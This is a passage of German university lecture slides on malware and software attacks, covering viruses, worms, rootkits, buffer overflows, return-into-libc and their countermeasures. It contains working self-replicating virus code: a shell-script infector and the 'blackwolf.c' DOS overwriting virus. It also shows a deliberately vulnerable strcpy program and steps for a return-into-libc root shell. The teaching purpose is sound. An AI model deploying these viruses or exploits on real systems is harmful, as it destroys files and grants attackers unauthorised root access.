DefinitionA virus is a program that reproduces its own code by attachingitself to other executable files in such a way that the virus codeis executed when the infected executable file is executed.Anmerkungen:I Implementationssprache irrelevantI keine Schadroutine nötigI Wurm ist ggf. auch ein VirusI Beispiele: Bootsektor-V., Makro-V., polymorphe V.

17 / 85

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

18 / 85

49

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

19 / 85

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

20 / 85

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

21 / 85

Beispiel für viralen (virulenten?) Code

for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;

fidone

Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)

22 / 85

Ein (etwas) besserer Virus

for i in *.sh; doif test "./$i" != "$0"; thenHOST=$(echo -n $(tail -10 $i))VIR=$(echo -n $(tail -10 $0))if [ "$HOST" != "$VIR" ]thentail -n 10 $0 | cat >> $i;

fifi

done

23 / 85

Bestandteile eines Virus

I Infektionsmechanismus: Aufsuchen von Zielen,Replikation

I Routine(n) zum Verbergen: vor dem Nutzer oderAnti-Viren-Software

I Trigger: Entscheidung, ob bzw. wann Nutzlast aktiviertwird

I Nutzlast: zufälliger oder beabsichtigter Schaden oder„Spaß“

Beispiel: blackwolf.c (nächste Folie)

24 / 85

50

Simpler Virus in Cblackwolf.c, leicht modifiziert

# inc lude < s t d i o . h># inc lude <dos . h># inc lude < d i r . h>

FILE ∗Virus ,∗Host ;i n t x , y , done ;char b u f f [ 2 5 6 ] ;s t r u c t f f b l k f f b l k ;

main ( ){

done = f i n d f i r s t ("*.COM" ,& f f b l k , 0 ) ; /∗ Find a .COM f i l e ∗ /whi le ( ! done ) { /∗ Loop f o r a l l COM’ s i n DIR∗ /

p r i n t f ("Infecting %s\n" , f f b l k . ff_name ) ; /∗ In form user ∗ /Vi rus=fopen ( _argv [ 0 ] ,"rb" ) ; /∗ Open i n f e c t e d f i l e ∗ /Host=fopen ( f f b l k . ff_name ,"rb+" ) ; /∗ Open new host f i l e ∗ /x=9504; /∗ Vi rus s ize ∗ /whi le ( x>256) { /∗ OVERWRITE new Host ∗ /

f read ( bu f f ,256 ,1 , V i rus ) ; /∗ i n chunks o f ∗ /f w r i t e ( bu f f ,256 ,1 , Host ) ; /∗ 256 bytes ∗ /x−=256;

}f read ( bu f f , x , 1 , V i rus ) ; /∗ F in i sh o f f copy ∗ /f w r i t e ( bu f f , x , 1 , Host ) ;f c l o s e a l l ( ) ; /∗ Close both f i l e s and∗ /done = f i n d n e x t (& f f b l k ) ; /∗ go f o r another one . ∗ /

}r e t u r n ( 0 ) ;

}

25 / 85

Analyse: Blackwolf-Virus in C

I sucht alle .COM-Dateien im aktuellen Verzeichnis undinfizierte diese (auf einmal)→ schnelle Infektion

I überschreibender VirusI mäßig destruktiv: Virus-Code überschreibt Anfang der

ZieleI verbirgt sich nichtI keine NutzlastI infiziert bei jeder Aktivierung, Ziele wachsen nicht, da

überschreibend

26 / 85

Weitere Informationen zu Viren

I „An Illustrated Guide to the Worst Viruses in ComputerHistory“: http://cargocollective.com/computerviruscatalog/

I Bedeutung rückläufigI Schutzkonzepte moderner Betriebs- und DateisystemeI typischer Verbreitungsweg – Tausch von Datenträgern mit

„Raub“kopien – irrelevantI i. a. keine wirtschaftliche Verwertbarkeit

27 / 85

Würmer

“An independently replicating and autonomousinfection agent, capable of seeking out new hostsystems and infecting them via the network.”(Jose Nazario: Defence and Detection Strategiesagainst Internet Worms, Artech House, 2004)

Bekannte Vertreter:I W32.BlasterI MelissaI MydoomI SasserI ConfickerI WannaCry

28 / 85

Komponenten eines Wurms

1. Aufklärung neuer Hosts als potentielle AngriffszieleI IP-Adreßräume (partiell) durchsuchenI lokale Suche in (z. B.) KonfigurationsdateienI OS Fingerprinting, um BS-Typ und -Version zu ermitteln

2. AngriffscodeI Remote Exploit bekannter SchwachstellenI Trojanisches Pferd (z.B. Mail mit attached Binary)I benötigt für jede anzugreifende Plattform Exploit

3. KommunikationI z. B. mittels ICMP, UDP, . . . , E-MailI über verdeckte KanäleI Verbergen beteiligter Prozesse und Sockets mittels

Kernelmodul oder durch Störung vonÜberwachungssoftware

29 / 85

Komponenten eines Wurms

4. KommandoschnittstelleI interaktiv oder indirekt (script-gesteuert)I typische Kommandos: Up-/Download von Dateien,

Flut-Ping, Generierung von HTTP-Requests, . . .5. Verwaltung der erfolgreich angegriffenen Hosts

I verteilte oder zentralisierte DatenbankI Liste aller befallenen RechnerI in privatem IRC-Channel

30 / 85

51

Weitere Begriffe

I RansomwareI (kryptografisch sichere) Verschlüsselung des

MassenspeichersI Entschlüsselung nur nach Zahlung eines „Lösegelds“I gegenwärtig meistverbreitete Form bösartiger Software

I RootkitI Software, die zur Verschleierung der Kompromittierung

eines Rechners dientI Spyware – zeichnet Nutzerverhalten aufI Keylogger: Gerät zum Aufzeichnen aller Tastenanschläge1

I Hoax (z. B. Good-Times-„Virus“, Bonsai Kitten)I illegales Cryptomining („Coinhive“)

1Beispiel: http://blogs.taz.de/hausblog/2017/02/17/keylogger-affaere-frueherer-taz-redakteur-verurteilt/

31 / 85

Hoax: Bonsai Kitten

32 / 85

Rootkits

Def. Ein Rootkit ist ein (üblicherweise unerwünschtes)Programm, das sich nach Installation vor dem Nutzer verbirgt.

Merkmale:I Installation typischerweise nach erfolgreichem Einbruch,

um Einbruchszweck abzusichern, z. B.:I dauerhafte Unterwanderung des SystemsI Diebstahl von Passwortdaten per Keylogger oder Sniffer

I verschafft sich keine root-Privilegien, sondern benötigtdiese bei Installation

Eintrittsvektoren:I versehentliches AusführenI physischer Zugriff des Angreifers auf SystemI Einbruch via Netzwerk

33 / 85

Rootkitsdateibasierte vs. kernelbasierte Rootkits

1. dateibasierte RootkitsI tauschen Werkzeuge aus, die zur Detektion des Rootkits

genutzt werde könnten (ssh, ps, ls, netstat)I Unterart: Library Rootkits: tauschen die entsprechenden

Systembibliotheken ausI laufen im User Mode

2. kernelbasierte RootkitsI modifizieren (Überraschung!) den Kernel z. B. über

Modulmechanismus oder Speicherabbild (/dev/kmem)I äußerst schwierig zu detektieren

34 / 85

RootkitsGegenmaßnahmen

1. Unrechtmäßigen root-Zugriff verhindern2. Unrechtmäßigen root-Zugriff verhindern (again!)3. Deaktivierung des Modulmechanismus (→ alle Treiber

statisch in den Kernel kompilieren)4. Vergleich nach außen geöffnete Ports (netstat) mit

externem Portscan (nmap)→ Achtung, „Hackertool“!5. Suche nach charakteristischen Zeichenketten im

Hauptspeicher (Werkzeug chkrootkit)6. Boot von sauberem Datenträger (Live-CD) und Suche

nach „verdächtigen“ Dateien

35 / 85

Angriffstechniken

36 / 85

52

Buffer Overflow(Sehr einfaches) verwundbares Programm

# inc lude < s t d i o . h>

i n t main ( i n t argc , char ∗argv [ ] ){

char b u f f e r [ 5 1 2 ] ;i f ( argc > 1) {

s t r cpy ( bu f fe r , argv [ 1 ] ) ;}r e t u r n 0 ;

}

37 / 85

Buffer OverflowPrinzip

I bestimmte Funktionen der C-Bibliothek führen keineLängenprüfung ihrer Argumente aus (Klassiker:strcpy())

I Idee: lokale Variablen (über deren Länge hinaus) mit einersolchen Funktion überfluten (Stack Overflow)

I Überschreiben der Rückkehradresse auf dem Stack mitAdresse einer Schadroutine

I bei Verlassen der aktuellen Funktion→ Sprung zurSchadroutine

I Ursache: mögliches Verlassen von Feldgrenzen in C,ungeprüfte Länge der Argumente vonBibliotheksfunktionen wie strcpy() oder gets(),gezielte Manipulation von Zeigervariablen

38 / 85

Stack OverflowAusschnitt des Stacks

Funktionsparameter

<Ret>

SFP

lokale Variablen

Puffer

hohe Adressen

niedrige

Adressen

...

...

39 / 85

Stack OverflowAusschnitt des Stacks

Funktionsparameter

<Ret>

SFP

lokale Variablen

Puffer

hohe Adressen

niedrige

Adressen

...

...

40 / 85

Stack OverflowAusschnitt des Stacks

Funktionsparameter

<Ret>

SFP

lokale Variablen

Puffer

hohe Adressen

niedrige

Adressen

...

...

41 / 85

Stack OverflowAusschnitt des Stacks

Funktionsparameter

<Ret>

SFP

lokale Variablen

Puffer

hohe Adressen

niedrige

Adressen

...

...

42 / 85

53

Stack OverflowAusschnitt des Stacks

Funktionsparameter

lokale Variablen

Puffer

hohe Adressen

niedrige

Adressen

...

...

SFP

<Ret>

43 / 85

Buffer OverflowEinfache Gegenmaßnahmen

I Verzicht auf unsichere Funktionen, u.a. strcpy(),strcat(), sprintf(), vsprintf(), gets() bzw.Nutzung der Pendants mit Bereichsprüfung, aber:I Semantik nicht übereinstimmend (z. B. nullterminiertstrncpy() das Ziel nicht bei maximal langem String)

I GeschwindigkeitsnachteileI Legacy Code?

44 / 85

Buffer OverflowStackguard

Idee: Schutz d. Rücksprungadresse durch zusätzliches CanaryWord.

I Canary Word wird imFunktionsprologangelegt

I Overflow überschreibtCanary

I beim Rücksprung ausFunktion wird Canaryauf Integrität getestet

I Abbruch, wenn falscherWert

Funktionsparameter

Puffer

SFP

Canary

hohe Adressen

niedrige

Adressen

...

...

<Ret>

lokale Variablen

45 / 85

Buffer OverflowWahl des Canary Word

I Terminator Canary – Werte nutzen, die typischeZeichenkettenfunktionen terminieren

Wert Symbol Semantik0x00 - stoppt strcpy()0x0a LF stoppt gets()0x0d CR

-1 EOF stoppt gets()

Tabelle: Terminator Canary

optimal ist z. B. 0x000d0affI Random Canary – erst zum Programmstart generiert;

Angreifer kann darauf nicht mehr reagieren (Angreifer läuftparallel zum angegriffenen Programm)

46 / 85

StackguardGrenzen des Konzepts

I moderate LeistungseinbußeI Lokale Variablen und Saved Frame Pointer nicht geschütztI Canary Word u. U. durch Angreifer restaurierbar, wenn

statischI vgl. “Bulba”, “Kil3r”: Bypassing Stackguard and

Stackshield, Phrack, vol. 10, no. 56, 2000

47 / 85

StackShield

Idee:1. Rücksprungadresse im Prolog in eine extra Tabelle

kopieren2. im Epilog Kopie der Rücksprungadresse wieder an

entsprechende Position im Stack schreiben3. keine Prüfung auf Identität

48 / 85

54

Ausführungsverbot beschreibbarer Seiten (W⊕X )

Einfachster Fall: Architektur unterstützt Execute-Recht imSeitentabelleneintrag (Beispiele: Sparc, PPC, IA64)Problem: IA32 tut dies nicht.Lösung 1: NX („No-Execute“) aka „Enhanced Virus Protection“I erfordert Physical/Page Address Extension (PAE) –

existiert eigentlich ab Pentium ProI NX jedoch erst ab Prescott-Kern (Intel), AMD64I Seitentabelleneintrag 64 Bit (anstatt 32)I Seiten, Seitentabellen und Seitentabellenverzeichnis 4 KiBI nur noch 1/4 der Einträge→ drittes Hierarchielevel

(vgl. folgende Grafik)I gegenwärtig: 36-Bit-Adressen (maximal: 52 Bit)I Bit 63 ist das (No)-Execute-Bit

49 / 85

Adressumsetzung bei PAE

lineareAdresse

Page Directory512 Einträge

Page Tables

PD−Eintrag

gewähltes Byte gewählteSeite

physischer Adreßraum

PTE

512 Einträge

NX−Bit (63)

PageDirPt2

PageDirPt1

PageDirPt3

PageDirPt4

OffsetPTR TableDir

11...020...1229...2131−30

CR3

Page DirectoryPointer Table

50 / 85

Ausführungsverbot beschreibbarer Seiten (W⊕X ) II

Lösung 2: Emulation in SoftwareI alle PTEs der zu schützenden Bereiche (Stack, Heap,

Daten) haben initial Supervisor-Bit gesetztI → Pagefault bei ZugriffI Handler:

I bei Instruction Fetch→ Abbruch der Task, Logging desAngriffs

I bei Datenzugriff: Rücksetzen des SV-Bits, Zugriff ausführen(Überführung der Übersetzung in Data-TLB), Setzen desSV-Bits

I weitere Datenzugriffe durch DTLB gecachtI nur möglich, wenn getrennte Daten- und Code-TLBs

51 / 85

Ausführungsverbot beschreibbarer Seiten

Einbau in Betriebssysteme:I Linux ab 2.6.8I Windows XP ab SP2; kein Backport nach Windows 2000I PaX-System, vgl. http://pax.grsecurity.net

52 / 85

Address Space Layout Randomization (ASLR)

Beobachtung: Distanz zwischen Top-of-Stack (TOS) undanzugreifender Rücksprungadresse ist konstant, wird offline(werkzeuggestützt) erraten und in Exploit eingebaut.

Idee: Anfangsadressen von Stack, Heap und Code werdenzufällig zur Ladezeit generiert.

Problem: eingeblendete shared Libraries – müssen auchzufällig verteilt werden

$ cat /proc/self/maps | grep libc

I erschwert auch Return-into-libc-ExploitsI unsicher auf allen modernen cachebasierten

Architekturen2

2Ben Gras u. a. “ASLR on the Line: Practical Cache Attacks on the MMU”. In: Proceedings of the Network andDistributed System Security Symposium (NDSS’17). San Diego, CA, Feb. 2017.

53 / 85

Return-into-Libc

I Manipulation einer Rückkehradresse auf dem Stack mittelsBuffer Overflow

I jedoch („Rück“-)Sprung in eine Shared Library (libc)anstatt zu eigenem Shellcode (Abb. nächste Folie)

I Beispiel: system("/bin/sh");(führt /bin/sh -c /bin/sh aus)

I wenn angegriffenes Programm setuid root ist, wird damiteine root-Shell geöffnet

I macht nichtausführbaren Stack wirkungslos

54 / 85

55

Stacklayout bei Return-into-Libc

sfp RET arg0 arg1 arg2

Überflutung Adrin

libc

{

...

}

system()

originaler Stack:

manipulierter Stack:

HighLow lokale Variablen

sfp

Argumente der (angegriffenen) Funktion

dum

my

arg0

Rückkehradresse aus libc−Ruf

Argument 0 des libc−Rufes

Code in der libc

"/bin/sh"

55 / 85

Anmerkungen

I dummy-Feld ist „Rückkehradresse“, die angesprungenwird, wenn system() verlassen wird

I irrelevant, wenn interaktive Shell gestartet wurde, da diesenicht zurückkehrt

56 / 85

Bestimmung der Einsprungadresse (statisch)

robge@hadrian$ cat dummy.cint main(){

system();}robge@hadrian$ gcc -o dummy dummy.crobge@hadrian$ gdb -q dummyUsing host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".(gdb) break mainBreakpoint 1 at 0x8048362(gdb) runStarting program: /home/local/robge/src/cracking/dummy

Breakpoint 1, 0x08048362 in main ()(gdb) print system$1 = {<text variable, no debug info>} 0xb7ed8990 <system>

Gegenmittel: Address Space Layout Randomization,Parameterübergabe in Registern (ELF64-SystemV ABI beix86-64)

57 / 85

Dynamische Ermittlung der Einsprungadresse

Idee:I Sohn erzeugen, der kontinuierlich system("") aufruftI Instruction Pointer springt zwischen main() undsystem() (libc-Funktion)

I mittels ptrace() kann die genaue Adresse vonsystem() bestimmt werden

... Code ansehen . . .

58 / 85

Verkettung zweier libc-Rufe

sfp RET arg0 arg1 arg2

Überflutung

setuid(){ ...}

system(){

...}

originaler Stack:

manipulierter Stack:

HighLow lokale Variablen

sfp

Argumente der (angegriffenen) Funktion

inlibc

Adr1für

arg0

setuid

=0x01010101

Adr2in

libc

"dummy"

"/bin/sh"

system

arg0für

o.ä.

59 / 85

Verkettung zweier libc-Rufe

I Reihenfolge setuid()→ system()

I setuid(0) leider unmöglich, da Pufferüberlauf damitvorzeitig abbrechen würde

I nur möglich, wenn erster libc-Aufruf genau ein Argumentübernimmt (dummy-Lücke)

I weitere Rufe nicht möglich

60 / 85

56

Return-into-Libc-AngriffWeitere Techniken

I mehr als 2 libc-Aufrufe mit beliebig vielen Argumenten (!!)I Frame Pointer LiftingI Frame Faking

I Nullbytes im angegriffenen Puffer ebenfalls möglich

Literatur: „Nergal“: The advanced return-into-lib(c) exploits: PaXcase study. Phrack #58, 2001

61 / 85

Heap-Overflow

I Idee: Manipulation von auf dem Heap angelegtenVariablen durch das Überfluten eines unmittelbar davorgelegenen Puffers

I keine Rückkehradresse→ implizite Manipulation desProgrammflusses unmöglich

I Reihenfolge der Adressen abhängig vonAllokationsreihenfolge

I Exploit weniger regulär (abhängig vom Typ dermanipulierten Information)

62 / 85

Integer-Overflow

Literatur: „blexim“: Basic Integer Overflows, Phrack #60, 2002

Idee: Überlauf des Zahlenbereichs von Integervariablen führtzu negativen Zahlen, die in Vergleichsoperationen und alsFunktionsargumente unterschiedlich interpretiert werden.

I kein Schadcode ausführbarI Ziel: DoS

63 / 85

Integer-OverflowBeispiel

int copybuffer (char *buffer, int len){char mybuffer[800];if (len > sizeof(mybuffer)) {return -1;

}return memcpy(mybuffer, buffer, len);

}

Typisches Beispiel eines Vorzeichen-Bugs

Analyse:I memcpy erwartet unsigned int als 3. ParameterI negatives len durch Test nicht erkanntI → wird als (sehr große) Längenangabe interpretiertI Überlauf von mybuffer

64 / 85

57